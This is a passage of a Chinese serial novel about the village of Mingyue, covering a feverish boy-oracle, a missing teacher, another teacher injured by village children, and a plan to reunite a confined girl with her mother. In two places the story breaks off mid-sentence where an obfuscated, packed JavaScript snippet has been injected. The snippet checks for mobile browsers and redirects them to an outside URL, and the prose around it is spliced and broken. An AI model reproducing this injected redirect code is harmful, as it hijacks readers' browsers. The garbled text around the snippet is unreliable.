挂钟发出的滴答声在五个人的耳朵边回响,在第五百八十二次滴答声之后,小白菜朝自己的前方伸出手,说出了醒来之后的第一个字:“羊。” “什么羊?”李得彩问道。 “他好像一只,被吊在门口准备屠宰的,羊。” “谁啊?” 他想要回答却像被人扼住了咽喉般怎么也说不出口,最终小白菜在李得彩的怀里不断呕吐酸水与白沫,让所有的话题都暂时被搁置了。 这天以后,高热代替了昏迷来时常侵入小白菜的身体,莫名其妙的高烧总让他陷入和醒来的那天相似的状态——满口说着意有所指又不知所云的怪话。而明月庄的人们也都知晓了一个事实:小白菜在李池的尸体上着了瘴气鬼的道,已经不能再像以前那样妙语通灵,慧眼识真了,要不是有万婆子神通广大,他的小命都难保咯。 他的母亲万金花在擒住了火烧登临塔的元凶之后也没有得到片刻的喘息,她整日在担忧儿子的伤势和庆幸自己地位的回归中辗转反侧,李得彩说她患上了神经衰弱,万金花朝他大吼:“你不许在我面前提衰弱这两个字!” 她坐在院门的门槛上继续为明月庄的人们提供关于生育和运势的药方,在无人的时候把腿抖得和缝纫机一样快,试图缝补她处处割裂的生活。直到小白菜从昏迷中彻底清醒过来,她才终于从院门口挪到了房门边。 “妈妈。”小白菜结束了突如其来的呕吐,躺在床的正中央问道:“你是不是很高兴?” “小儿濒死我展笑,阎王宝座为我造。你又烧起来了,说胡话呢。” “可是妈妈,为什么我主持仪式的时候,你吓得脑门流汗?为什么我受伤的时候,你会觉得轻松呢?” 万金花不敢在小白菜面前承认自己的复杂情感,这个孩子表现出的敏感远远超乎她的想象,在这一切发生以前,她很确信自己不会诞下什么绝世天才。明月庄不需要不受控制的天才,这里只需要信仰虔诚的普通人。而打破这一规矩的竟是自己亲爱的小儿子,他不是天才,却是一样难以把握的怪物。 李得彩握着他珍藏的古巴烟斗过来打圆场,“你少和你妈作对。” “妈妈,我没有和您作对,您是梦中面见过吉祥天师尊容的神婆,我是承蒙三仙汇首开蒙明智的仙童,我们本该是一体的。妈妈,您为什么对我如此戒备?” 万金花看了眼挂钟,距离金铃儿和银铃儿放学回到家还有两个多小时,她从不像现在这样期盼两个女儿在自己身边,为自己提供一些逃避的借口。 小白菜再次说道:“妈妈,我们本该是一体的,可是有人想把我们分割开,使明月庄的信仰分崩离析。” “李得彩。”万金花呼唤丈夫的名字,“你摸摸他的额头,肯定又烧起来了。” “妈妈,你又在害怕了。难道你生下我来,不是为了和我一起,成为明月庄无人能及的人上人的吗?” “你歇歇吧,睡觉吧。”李得彩捂住了小白菜的嘴,他的手指缝里透出廉价烟草的味道,和那支古巴烟斗的价格毫不匹配。小白菜在他的要求下保持了沉默之后就又沉沉睡去,李得彩摸着小白菜的臂膀,真切地感到他被火烤一般地发热了。 在另一边,中学在老校长的风波之后重新开学,就只剩下了原来三分之一的学生。无论是出于学生本人的意愿,还是来自他们父母的畏惧,我们都知道中学很难再回到以前的样子了。值得庆幸的是这对于留下的人来说并不会造成困扰,周一这天他们都在中学小巧又干净的操场上聆听了老校长的讲话。她戴着一顶渔夫帽来防御料峭春寒,她站在所有人面前嗓音洪亮地宣布新学期在今天开始了。 由于万金花和小白菜这段时间以来闭门不出,明月庄的大小仪式全都被搁置,李春生的身体状况也稳定了很多。即便明知没有实际的作用,我还是用枇杷叶,梨子和冰糖一起煮了水拿给他。 我告诉他:“小白菜醒了。” 他只点点头,没有表现出太多的关心。很久以前李春生并不是这样的寡言少语,他大概是累了,话少了很多,但我明白他心中有着清楚的谋划,关于学生们的明天,也关于他自身。 “你掌握好分寸,别搞得我和慧慧措手不及。”有了寻灵那天的经历,我开始有些害怕他会自作主张,头也不回地投入到烈火中去,连点儿灰都来不及留下。 “你放心。”李春生说,“这事儿没那么简单,必定是循序渐进的。” “老季去哪儿了你知道吗?”我问。 李春生闭眼思索了一会儿说:“他正离我们越来越远。” 老季不见了,在李池的死因得到宣判后,明月庄的人们紧接着就得到了这个消息。他同样在中学里当老师的妹妹季年——我们都叫她小季老师——去了天师庙里寻找他的踪迹。她踏进天师庙的门槛,只看见角落水坑里的一地鸡毛,那几只身形圆润的母鸡早就没了影子。 小季的母亲口含着青蛙死去的时候她还只有七岁,也尚未建立起对生死的敏锐感知,她站在包裹母亲的草席前,熙攘的人群不断穿过她的身体,小季在一夜之间就送别了所有的亲人。李有福再次自动承担起了照顾庄子里孤儿的责任,有那么九年多的时间,小季曾是我的第六个妹妹。 小季刚来到我家的时候还不叫这个名字,她的亲生父母为她拟定的名字是季赛儿,李有福觉得不好,像是天生地认为小季比不上男儿似的,便让我写了好些字让小季自己挑。我还记得那天正好是除夕,全家人都期盼着她的新名字。庆祝的鞭炮响起来的时候,她就抓住了“年”。 当然现在我们之间只是普通的同事关系,亲情对我来说是微不足道的,作为普通人类的小季却还时常记着这层久远的关系。 我看到她站在老校长身边朝我们招手,慧慧架好了从镇上照相馆借来的相机——这类事向来得心应手。 “他们要合影,全校一起。” “那走吧。”李春生迅速饮了一口雪梨水后就快步走到了门口,见我无动于衷便停下来,“走呀。” “我就不用了吧。” 一般来说全校合影上会有食堂工作人员吗?在我的认知中没有。日后再回想起来,我才意识到是打心底里固执地认为自己没有与他们站在一起的资格。“明月庄中学”的围墙之内是希望的土地,我要如何将永恒的死亡带到属于他们的太阳底下呢? “可是李月来,我们是一家人。”李春生在门外慧慧的催促声中抓住了我的手腕,我便彻底失去了继续拒绝的理由。 “月来师傅你好慢,像大姑娘出嫁。” “小屁孩。”银铃儿在我打趣地要揉她的脑袋时敏捷地环住金铃儿的腰在学生堆里转了几个圈,用她们一模一样的脸把自己藏好,“小季老师!你猜猜我是谁?” “你?你是天底下独一无二狡猾的银铃儿!” “哈哈哈哈哈哈……” 包括我在内的所有人都没有负担地笑了。 “快站好,咱们要拍一张独一无二的大合照!” 找到脚下的点位,设置好倒计时,表情放松,明月庄中学1987—1989届全体师生合影被胶卷珍贵地记录下来。 合影完成之后,学生们散得很快,金铃儿和银铃儿围着小季老师往教室去上课,慧慧举着相机叫住了我们,“李春生,李月来。” “最近庄子里有老季的闲话。” “听见了。”李春生带我们往围墙边走,“一些猜疑,觉得李池是老季害的,没有依据,也没有万金花的点头,不会有什么大风浪的。” “可他们最擅长的,就是幻想和连坐。” “你是担心小季老师?” “她是我朋友。”慧慧看向我,对我始终保持的沉默表达不满,“你也算她哥,太冷漠了吧。” 我不认为我的在意能让现状有实质性的改变,一切都是徒然地流动而已。我从来都是不愿意做参与者的,无论是像李春生那样去干预,或是慧慧那样与人成为朋友,我都在尽量避免。我常认为世上的规则既然存在就自有其运行的逻辑,具有不可避免的权威性,我们不过是它们的代行者,而要做好手握规则的裁判,就不能属于任何一方。 我回答她:“以前是,现在不是。” 慧慧听了就抄起相机要来揍我,李春生连忙拦下,“这是借的,要赔钱!”他安抚慧慧的动作像是捋顺一只家猫的毛,“我会留心,你放心吧。” “也留心你自己。” 慧慧的怒气比以往来得更加深刻,她知道半个人走出了校门还回过头来用口型指责我的冷漠。 “我以前也是这样吗?我们刚认识的时候。”我询问李春生,渴望从他的口中重新了解自己。 他轻而易举地给出了回答:“不,那时的你明显更加感性。” “所以这八百多年,我已然丢失了血肉之躯。” “你能问我,就还没有。而且,从我们的本质来说,这是值得庆祝的事。” “本质?” “神仙的本质,普罗大众情感的化身,由人所创造的,在人的范畴之外服务人的东西。我和他们太近了。” 我才发现李春生是这样看待自己的,“你别把自己说的像个玩意儿似的。” “我本来就是个土做的物件,你才是从人世而来的那一个。”虽然现在的情况更像是反过来,“李月来,重要的是你的态度,你想怎么做?” 我摇摇头,“我说不上来,但你要做的事我不会拦着你,可这终将导向你的死亡,所以我……”我忽然无法再说下去,像被骨头卡住了咽喉。 “所以你犹豫了。那你当初支持我的理由是什么呢?” “因为你的决定是正确的。” 我再次同与李春生见面的那天一样躲开了他的眼睛,在初春并不热烈的阳光下我独自行走在明月庄的土路上,发觉人的行为习惯才是比磐石还要坚硬的东西,对于部分人来说,承认他原有立场的错误无异于一场自杀的仪式。我虽不在这部分人之列,但要扭转根深蒂固的行为习惯也并非易事。我在李春生的事情上再次做了冷漠的判断。 在清溪河——我最熟悉的老朋友——曲折的堤岸边,我努力迫使自己做出决定。 咚。 一粒石子引发的涟漪使隐藏在水草中的游鱼露出踪迹,慧慧举着相机望着我。 “你怎么还没去还东西?”我问她。 “你怎么不在学校里?”她走到我身边和我一起靠在栏杆上,“李春生跟你说了什么?”还没等我开口,她就接着说道:“我猜猜,是为神为仙的本质?还是如何把控我们与凡人的距离?还是怎么样认清自己?” “你偷听?” “我是慎思明辨,见微知著。”她拍拍我的肩膀好像在安慰一个输家,“你一有想不明白的事情就在这里发呆。你真是块死硬的石头,只知道一个人琢磨。” 我想她说的没错,这也是出于近千年来孤身一人而养成的习惯,毕竟时间是我最富裕的资产。 “为什么不和我们聊?明明我们就在你面前。” 我很想告诉她: “我不敢。”我活到现在,从来都是在做我应当做的事。我是被正确性的戒律推着走到现在的,我也一直认为,神,既然代表了某种不可逆转的原则本身,那他不就是一种不可违背的正确性吗?李春生要赴死当然是正确的,他的职责决定了这一切注定发生,但如果规则本身就错了呢?从金铃儿,银铃儿还有李小潭的事上我开始思考这个问题,但我不敢回答。最终我还是低着头,用沉默回应了她的问题。 慧慧捡起地上一块光滑的石片打了个漂亮的水漂,“李月来,神不是正确性本身,而是正确性的产物。或者说,看门人。轮回转世的正确性需要人来维护,所以你诞生了,生命降世和启蒙明理的规则也需要人来维护,所以我诞生了。至于李春生……人需要他,所以他诞生了。”她把手搭在我的肩膀上,“可是世上哪儿有绝对正确的事?就像人的需求也是有好有坏的,李月来,你要是拿不定主意,就该听从你的心,只问想不想,别问对不对,是非对错会在你的选择中体现。” 我想到李春生始终坚持的,对每一个人都伸出援手,但他也有自己的原则,只有愿意或值得被拯救的才能真正获救,而不是为了所谓的“全体”,耽误了这部分人本该拥有的幸福。他作出的取舍正是这个道理。明白了这一点,我总算能稍稍直起身子,“我确实有想做的事。在外面。” “那正好,你开车带我。”慧慧动作麻利地把钥匙扔给我,扛着相机头也不回地走了。等我追上去,她已经坐在电动三轮车的车斗里等着了。 “三轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周桐问我:“是有什么问题吗?” “没有。周老师,他每个月十五号都来这里吗?” “来,都来的,我要是在家他还会进来坐坐喝杯茶,你找他有事啊?” “有些……生意上的事。” 那就是十二天后。 我在与人谈话方面实在没有天赋,所以一直努力想要把细节含糊过去,我很确定慧慧在一旁对我的心理一清二楚,但她自始至终保持着沉默,一直到我们从周桐这里告别往明月庄去的路上,她才用慵懒的声音对我说:“你这不是挺会说话的吗?” “你刚才听得很开心吧?” “开心啊,你能和人正常交流这么久稀奇得很呢,我回去要让李春生也知道。” “你还是闭嘴吧。” 孟明达也是明月庄人,早年间他的妻子左小青在怀孕期间谨遵母亲的教诲不吃鸡肉以避免生出的孩子是尖嘴巴,不吃鸭肉避免孩子嗓音沙哑,不吃兔肉避免孩子换上红眼病,不吃牛肉避免孩子是劳碌命,更不吃白糖和猪油避免孩子油嘴滑舌会骗人,还会偷偷倒掉孟明达炖好的汤。她在一系列的不吃下艰难地生下孩子后一个小时,就流尽了浑身的血咽气了,她的母亲——孟明达的丈母娘,则抱着刚出生的孙子笑眯眯地说:“看,这孩子在肚子里被养得真好。” 据我所知孟明达在当时还是个城里家里来回跑的普通油漆匠,与左小青一起和丈母娘住,他把头靠在手术室门上“闲人止步”的红字边,看到红颜料流动起来成了健康的动脉血。他去搬左小青的遗体时觉得她像棉被一样轻飘飘,好像还没有一桶油漆重。 他在明月庄大闹了一场,与丈母娘彻底地反目成仇。在左小青母亲的叫嚷和咒骂中,孟明达怀着十足的恨意带走了孩子与左小青的遗物。明月庄的很多人都知道这事儿,孟明达身上也背着不敬不孝的罪名,所以他这样的罪人,才被明月庄这洞天福地赶出去,在炼狱般的外界生活。 他开始尝试着做一个生意人,七八年后孟明达就在镇上的蔬果杂货批发市场上站稳了脚跟,我与他的交集也是这样产生的。中学食堂里的供应都要仰赖他。 我们没有白跑一趟,不过更多的探索也在那个下午戛然而止,明月庄的大小动荡从来都是接踵而至的。 老季的失踪经过曲折的演化最终在人们得不到结果的猜疑中转变为孩童们的玩笑,那些不再踏进中学的,只会在野地里打滚的崽子们把从大人那里听来的只言片语不断修饰,看到小季老师从中学里走出来就追着她喊: 老季老季人缘好,天师座下补棉袄,河边还有老相好,小季小季脾气好,老废物也当个宝,寻他寻到东海角。 他们往往躲在树杈上,骑在围墙上嘲笑小季听到这顺口溜时无措的神情,欣赏战利品一般发出得意的笑声,只有当老校长抚摸着她的光脑袋或是银铃儿气势汹汹地冲出来时才乱哄哄地四散逃去。李春生作为中学的老师虽然在气魄上不及她们勇猛,但震慑几个兔崽子的威严还是毋庸置疑的。他轻而易举地就从迎面跑来的那伙孩子当中揪出一张熟悉的脸,拽住胳膊将他固定在身前。 “李旺儿,又是你?” “我毕业了,你管不着!”男孩子踢着腿呵斥自己曾经的老师。 “那我也是你的长辈,你这张嘴真是从小就不老实,你妈妈知道你在这里吗?” 李旺儿个头不高还不协调地长了张大嘴,横亘在他凹凸不平犹如黄土地的脸上仿佛一条壮观的裂谷,听到李春生提起自己的母亲,这片黄土地发出震颤,抖落了表面的一层尘土,很快他就重振精神,强迫自己忘记家中的那张脸,“我不老实,所以做不了你的学生,咱俩互不相欠了!” 他挣扎着要逃走,并往现在躲在树后头看热闹的同伴使了个颜色,两边脸颊都涨得通红,“你放开我,就当从没有我这个学生。” 小季上前几步刚想过来缓和事态,就听见身后一阵嘈杂。树后的那几个家伙溜进办公室抢来了小季老师桌上的教案和参考书,几人抛来掷去做着杂耍表演,同时配以自娱自乐的欢呼声来继续捉弄小季老师。 “真是把先哲的话读到狗肚子里去了。” 李春生分心的一瞬间就让李旺儿逃走了,他朝着李春生投下戏谑的眼光宣告自己的胜利,并高傲地说道:“什么先哲啊,死了几百年的老东西也算?” 这让李春生的胃部一阵绞痛。他曾经的学生现在加入了门口的马戏队伍,小季在其中无助地来回奔走,她奋力地挥舞树杈般的两条手臂,但马戏演员们始终压她一头。李春生不再坚持教化他们,他走进漫天飞舞的书本和文件当中想将小季老师拉出是非之地。 “别管了。” “春生哥……” 马戏演员们对着二人的背影发出谢幕的宣告,“哦!逃跑咯!逃跑咯!” “喂!你们的东西!”李旺儿紧接着喊了一句,就将手上的木质三角尺扔出,在空中高速旋转着飞来,李春生下意识地捂住小季老师的头使她稍稍躲开,教具开裂的一角就打破了李春生的右边眼角,他的皮肤从眉骨上方到太阳穴的位置形成了一条整齐的豁口,从中淌出了血。 而镜片,也布满了蛛网似的裂痕。 李春生撑着身子坐在地上,迷迷糊糊地听见小季老师喊他的名字,那群吵闹的孩子在片刻的沉默后就脚步凌乱地跑远了。李春生感到自己的手掌和脸颊都浸满了黏糊糊不自在的感觉。 他抬起头来想要寻找什么人,但很快就失去了知觉。 20. 读后感 我们赶回明月庄的时候,罪魁祸首李旺儿还坐在河边的石墩子上打水漂,我一只手就拎起他开了线的衣领把他吊在空中,这泼猴似的小孩口中发出猴子一样的尖叫,还试图对我拳打脚踢,我便把他倒转过来提着脚腕拖行到他一直抗拒的家里。李旺儿一路上像待宰的公鸡一样失掉了同龄人中的尊严,而在母亲面前他更加瑟缩成一条断尾的狗。这种事拿到李春生和慧慧那里只会显得繁琐又聒噪,慧慧又该说我是个不懂变通的木头脑袋了。总之李旺儿母亲的藤条破空声吓跑了围观的小崽子们,他们的家事我也不便插手,连忙赶回中学的医务室去了。 小季老师低着头坐在椅子上落泪,她控诉那首可恶的顺口溜,“他们是诬陷!”眼泪啪嗒啪嗒掉在裙子上,像是泥点子,我看到她的手臂也在争抢和推搡中留下了鲜红的痕迹。 李春生已经从昏迷中醒来,慧慧为他处理好了伤口,他盯着天花板的右眼瞳孔里有一团殷红的瘀血。 “还好吗?”我问。 “看不清,眼镜呢?”吉祥天师托生为人后,眼镜便是他的第二对瞳孔,是千万丢不得的。然而桌子上摆着的那副旧眼镜,右边的镜片已如投石后的湖面,固定下了永恒的波纹。小季老师走过来说:“是我连累了春生哥,眼镜我陪你一副新的。” “和你没关系,不用。”李春生想要坐起来,慧慧从我们后面撞开所有人将他摁在床上,“你躺好!没我的允许你不准起来!李月来,你不知道该做什么就去把这篮李子洗了。小季,你去水槽洗把脸再回来。”慧慧在我和小季老师离开的空档坐下来对李春生说:“我知道你好心,但眼镜你该让她买给你的,否则她不安心。” “我要是能像你一样理解人心就好了。”李春生说。 “我要是能像你一样看淡生死就好了。” “你何必要看淡?” “因为不识庐山真面目,只缘身在此山中。”慧慧面对着他坐下,“你把人看得太重,所以看不清人心,而我把生命看得太重,所以也活得糊涂。” 李春生平躺在病床上,他仍感到眼角伤口的疼痛,折磨着他被迫清醒,“我不明白你把生命看得太重是什么意思。” “我怕死。”慧慧简短地回答道,“在你决定赴死以后我更怕了,李春生,我没你那么豁达,也不像李月来那样全不在乎。在我眼里,无论怎样,人都得好好地活。我和李月来是不一样的,他是人对死亡的天然恐惧,而我是因为没有人知道神死后是什么样子,我害怕未知。”她忽然笑起来,“真有意思,启蒙者困于未知,爱人者为人所害,侍死者求生不得。这世道真有病。” 李春生听了,在病床上道出一声长长的叹息,“如果你不能理解生命,我有一些见解可以供你参考。我想生命是一场疾病。他带来源源不断的麻烦,我们却都医术不精,只能抓住爱好、朋友、权力、目标、爱、金钱……来尽力舒缓生活的疼痛。” “你这么说,更显得我这个医生徒有其名了。”他们两个都笑了起来,慧慧似乎对李春生的回答感到满意,她往窗外看了一眼,夕阳正逐渐从山羊坡上沉没,随后转换了话题,“那群编顺口溜的,你要做些什么处理一下吗?” “我会的。”对付顽固的青春期少年,李春生有着充足的经验,他们的罪过说不上多大,但也不得不罚,他们的想象力丰富,只需要连续四五天的噩梦或是倒霉事儿,就足够让他们自觉收敛自己的行为。 “我听说小白菜时常发烧。” “知道,我都知道。他那边有我,只是季有兰和小潭,还得麻烦你们两个。” “不麻烦,况且你和李月来想一块儿去了。” 我拿着李子走进来,慧慧正打算提起我与孟明达的事儿,便转头满眼期待地看着我。不过她还是高估了我察言观色的能力,最终在我迷惘的眼神中慧慧撇嘴拣出六个李子,把剩下的大部分端走去分给小季。 “你们刚才说什么了?”我问。 她的声音从走廊上远远地飞来,“说你们两个心有灵犀!” 等到十五号这天,我和慧慧兵分两路,再次骑上电瓶三轮车往筒子楼那边去,她则去看望季有兰的情况。 在这十二天的时间里,金铃儿在家中立柜的最下层找到了万金花用红布包好的《千年万代引》。这本书虽不是由万金花最初编撰,也是在她的大力推动下重新修订的。此书在神婆子口中包罗万象,不仅详细记载了明月庄与吉祥天师的渊源,包括各式祭祀需要遵循的规矩,通读之后更是能知晓天文地理,从东海到西天的全部知识。美中不足的是这部书太厚太重,明月庄的人们平日里从庄稼地上回来,才不想翻开砖头似的这么一本东西呢。于是万金花把其中关于吉祥天师的部分挑选出来,时不时就坐在树底下给小孩子们当故事讲,其余的就靠她身体力行,在为人占卜治病和主持祭祀的时候宣扬出去。 金铃儿大概是第一个对这部书本身产生阅读兴趣的孩子。明月庄几乎没有别的好书,除了学校的教科书,剩下的就只有《千年万代引》,李得彩曾找人买来过基本艺术杂志,想要从中学习雕像的更多技法。万金花见了那上面的裸身雕塑,吓得忙把杂志烧了。“你着魔了,看不干净的东西,这得烧个精光!”她说。 包书的红布上用金线绣着些繁复的花纹,肯定是万金花精心挑选的。金铃儿坐在床上像翻阅一部古籍那样小心地翻开了它,不过她并不是要阅读那些天文地理的知识,而是直接跳到了与吉祥天师有关的部分。 “姐姐,你在干什么?” 金铃儿吓了一跳,她看到小白菜站在门边,嘴里含着手指头,歪着脑袋看她。金铃儿抬起书的封面给他看,小白菜又说:“我还以为你在偷看不该看的东西呢。嘿嘿嘿……姐姐,你可是个好姐姐。”他被李小潭踢伤之后,走路的样子就有些滑稽,两条大腿骨像是少了润滑油,动起来一卡一卡的,连带着他的胯也更大幅度地往两边扭。 “没良心的,又在做什么了?”看到小白菜下了床,万金花也警惕地冲了过来,她一边拽着小白菜的胳膊,另一边指着金铃儿说道:“别耍花心思!” “我就是想看看。” “我知道。”万金花把小白菜抱起来,“看可以,别耍花心思。” “嘿嘿嘿嘿……妈妈,你这话的对象错了,大姐姐才没有花心思呢,你该提防着银铃儿,她才是鬼心思多的那个呢。” 万金花对女儿们的了解还没有小白菜来得透彻,她也不喜欢被直接地指出错误,她拍了小白菜的脑袋说:“你烫得像个烧水壶!闭嘴!” 金铃儿花了好几个晚上来精细地阅读《千年万代引》,同时也和银铃儿里应外合着藏了些家里的果蔬,装在一个她自己绣的布包里带给季有兰。 “瓜,番茄,豆角,还有些鸡蛋,我们在家里偷偷拿的,他们最近没空管我们,不会被发现的。”金铃儿说着,“我看到小潭家的地里种的东西都倒了,有兰姨用得上。” 布包里东西塞得满满当当,慧慧接过去的时候都有些拿不动。除了这些,还有老校长和中学的老师们一起凑的一笔钱,装在慧慧的上衣口袋里。 金铃儿拖着布包的底部问道:“慧慧姐,你读过《千年万代引》吗?” “我?我可没有,我对那玩意儿不感兴趣。” “慧慧姐,我最近老有想不通的事所以读了。” 此时慧慧担心的是金铃儿会不会因为这部书而冒出歪念头,“据我所知,你们春生老师也读过,你读着要是不明白可以问他。” 金铃儿摇了摇头,“不用了,慧慧姐。我读完就已经都明白了。我只是觉得……” “觉得什么?” 这时候,金铃儿缓缓停下了脚步。她想起书中的内容,也就想起了阅读时的感受,情绪洪水般扑向她的身躯,她忽然掩面蹲下哭了起来。 “呀,这是怎么了?”慧慧忙找手帕给她擦眼泪。 金铃儿哭起来的时候很安静,只能听到她沉重的呼吸声,她就这么拿着手帕自己消化了一会儿,等到呼吸平稳之后抬起红肿的双眼对慧慧说:“我觉得好可悲。” 她用了这样一个词,大概率是没有被万金花的言论带偏的。慧慧松了一口气,引导般地问她:“可悲?谁可悲?” 然而金铃儿没有说出预想中的名字,她答道:“所有人。慧慧姐,是所有人。活的,死的,我们,还有吉祥天师,都很可悲。” “孩子。”慧慧摸着金铃儿的脸,也红了眼眶,“好孩子。但光哭是没用的,对吧,咱还得好好地活。” 金铃儿点点头,“嗯。慧慧姐,我不会要死要活的。我是想着,要是世上苦的总量是固定的就好了,那就可以苦我一个,让大家都不用再苦。” 慧慧对金铃儿表现出的悲天悯人的情怀所震惊,她从没想过这个十几岁的孩子能有这样的感悟,但怎么说,这苦也不该让她来担,“胡说呢,那我们成了什么?不都是软骨头?你这话让春生老师听见了,他肯定也不高兴。金铃儿,咱们中学的人,有苦都是一起担的。” 慧慧拍拍她的肩膀,“笑一笑,还有人等着咱们去担她的苦呢,愁眉苦脸的可担不住。” 她说的正是季有兰。 李池弯曲的尸身担负起纵火烧塔的罪名后,人们就严格地按照万金花下达的指令,将他埋进干草垛,和画着符的黄纸一起噼里啪啦地烧成了黑灰。季有兰面对着烈火席地而坐,火焰的温度烤化了季有兰身上的色彩,使她瞳孔的灰白蔓延到全身,把她包裹成一个安静的石膏像。从她身上流淌出的颜色顺着堤岸边的泥土渗透到清溪河的水中,让这条明月庄的脐带也饱含了一个女人的痛苦。李春生和慧慧一起把她扶回了家,在那个经历了鸡飞狗跳的院落里,季有兰放走的另外两头山羊安静地伏在地上,对着他们的女主人发出温柔的咩咩声。 慧慧把东西送过去的时候季有兰仍是石膏像一般的灰白色,她坐在院子里剥豆子,门口总时不时有人往里面投来一个窥视的目光。这难不倒慧慧,她一闪身就出现在季有兰身旁,把大家的好意带给了她。季有兰摁住慧慧的手迟迟不肯收下,“不用,不用,你们自己留着。你们走吧,我会连累你们。”她的皮肤很快就像山羊一样白了。 “连累”在明月庄如此普遍,以至于失去了他本来的威慑。只是接下来的日子里,季有兰成了一个实打实顺从的女人,她洗衣做饭,喂羊剥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063028|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆,偶尔会在天边映着红霞的黄昏在门口坐下,好像等着什么人。但她谁也等不到,月光一落到她脚前的土地上,季有兰就掸干净身上的泥土回到她黑漆漆的家里。明月庄的人们将季有兰的身边视为禁区,生怕自己靠近了就会沾染上李池那样的霉运,这让季有兰过上了她期盼许久的平静日子。唯一放心不下的只有李小潭。 “有兰姐!这是给小潭的,你拿着!” 她灰白的身躯在听到李小潭的名字后迅速浮现出色彩,“小潭现在好吗?” “好得很,你也要好好的,等着与小潭一块儿过好日子。” 万金花命人找了一口瓮把小潭装进去,并用铁丝和湿陶土把瓮口封成一个九宫格,那瓮太大,谁都懒得每天给他换地方,所以只是摆在东天师庙里等她自生自灭。但有慧慧和李春生关照着,除了狭小的空间,小潭什么也不必忍受,她要做的只有等待。 “我真能有好日子吗?”季有兰问,更像是怀疑自我的喃喃低语。 “有兰姐,你放不放心我?你现在只需要做两件事,好好吃饭,好好睡觉,我保证你很快就能和小潭一块儿过日子的。” 季有兰终于不再像一尊苍白的石膏像,她注视着慧慧明亮的眼睛,好像也看到了李小潭,最终她点了点头。金铃儿站在一边,她的脸上再次滑落了泪水。 我在筒子楼的门口见到了孟明达的面包车,车门未锁,我就坐在副驾等他,车里猪羊牛肉的血腥气和烟味混杂在一起,换了别人恐怕待不到一分钟。 他从楼上摇摇晃晃地走下来,人比过去长胖了很多,穿着一件打了补丁的外套,头发剃得只留下一层短茬。他没注意到我,一坐进来就吓了一跳。 “诶哟我去!”孟明达眯着眼凑近来辨认我的脸,“李月来!我管你叫哥行不!你一声不吭地坐我车里干嘛!” “我有事儿要跟你谈。” 他听了直拍大腿,“我昨天上午才去中学送菜,那时候你不找我你干嘛呢,还非要冷不丁地跑这儿来,您什么秘密交易啊哥哥?” “中学里不方便。” 孟明达调整了坐姿靠在椅背上,“我有钱赚吗?” “你来这里给周老师送东西也是为了赚钱吗?” 听到这里他开始饶有兴致地看着我,“那去家里谈?我有酒,都是好的。” “你家里?”我本想着就坐在他的车里,或是就近找个小饭馆,都能达成一样的效果。 “怎么?怕我是坏人啊?你放心吧哥哥,我不好那一口。” 我了解孟明达的为人,他长了一张猪油浸过的嘴,“你有什么酒?” 他一边递来一支烟一边问我:“饮中仙,能喝吗?” “走吧。” 路上我除了把玩孟明达车里的益智玩具,其余的时间就用来观察他驾驶汽车的操作。在某个十字路口他借着红灯的时间终于忍不住问我:“你老盯着我看干啥?好那口?我可不好!” “你太看得起自己了。”我说。 孟明达的家中,正对着大门的白墙上,整齐地张贴着他的儿子——孟繁枝——的各式奖状,我一眼扫去居然连一年级时拿的三好学生也赫然在列。我注意到灯管下方的墙壁有着截然不同的蜡黄颜色,表明此人时常坐在靠墙的位置抽烟。紧挨着冰箱的墙上,则悬挂着左小青的黑白相片,她真是个枯瘦的女人。 “我们俩是她妈介绍的,那时候总说她是个听话的好姑娘,嘁。”孟明达对这个词发出鄙夷,“不说了,反正那时我是蠢货,他们是一群疯子。不过现在好了,蔬菜,水果,牛奶,肉,她想吃多少就能吃多少,哈哈!你晓得他们现在怎么说我吗?” “怎么说?” “说我还往明月庄做生意是赎罪!好不好笑?哈哈哈哈哈!” “我也挺好奇你怎么还与明月庄做生意。” “能赚钱干嘛不赚啊?”他点着了烟,“我就顺着那帮疯子说的,庄子里的单子我薄利多销,赎罪呗!反正碍不着我赚钱。” 他说着便去拿酒,我把玩着孟明达搁在桌上的打火机向他说起我今日的真正来意:“你记得李小潭吗?” 他摆上两杯醇香浓郁的白酒,我一闻就知道李春生万万喝不了这个,孟明达眨了眨眼说道:“哦,新来的那个女孩子吧,怎么了?” “她的母亲还在明月庄受苦,你要不要做个好人,帮她们母女团聚?” “我总得有点儿好处吧。” 我抿了一口饮中仙,酒液的温度在喉间清晰可感,“你想要什么好处?在我能力范围内的都可以。” “哈!你这小子,把做好事说得跟要绑人似的。”孟明达举起酒杯一饮而尽,饮中仙的烈劲使他皱紧了眉头,缓了好一阵儿才开口接着说:“听你这意思,这还是个长期的计划?你们这是在筹备什么大事儿啊?” “一场大手术。”我说,“你有用,所以李小潭的事儿可以算是你入伙的投名状。” “你小子就爱吓唬人,投名状都出来了哈哈哈哈!”孟明达摸了摸自己滚圆的肚子说:“李月来,以后能救人一命的事儿,我都答应,你不用再来试探我。” “那最好不过了。” 21. 失而复得 小季捧着新眼镜回来的时候李春生正坐在梯子更换办公室的灯泡,她抬着手举起赔礼,“春生哥,这个眼镜你收好,和你之前的那副度数是一样的。”李春生在梯子上往下看,镜片上的河道般的裂纹让小季的样子有些错位,他伸出手去,让小季给他递一个灯泡。 “好,谢谢,我正愁眼镜坏了看东西不好呢。” 小季关切地说道:“春生哥,你的眼睛里还是有血块。” “过几天就好了,别担心。”李春生拧紧了灯泡,“小季老师,开灯看看它好了没。” 电灯暖黄的光在白天并不显眼,小季遥望着灯光下李春生的背影说:“对不起,春生哥,我害你受这么重的伤。” 李春生摇摇头,“你哪里有害我?不要总是责怪自己。”他收起梯子和零碎的工具,一边把眼镜换上一边问小季:“最近还有人说那些话吗?” 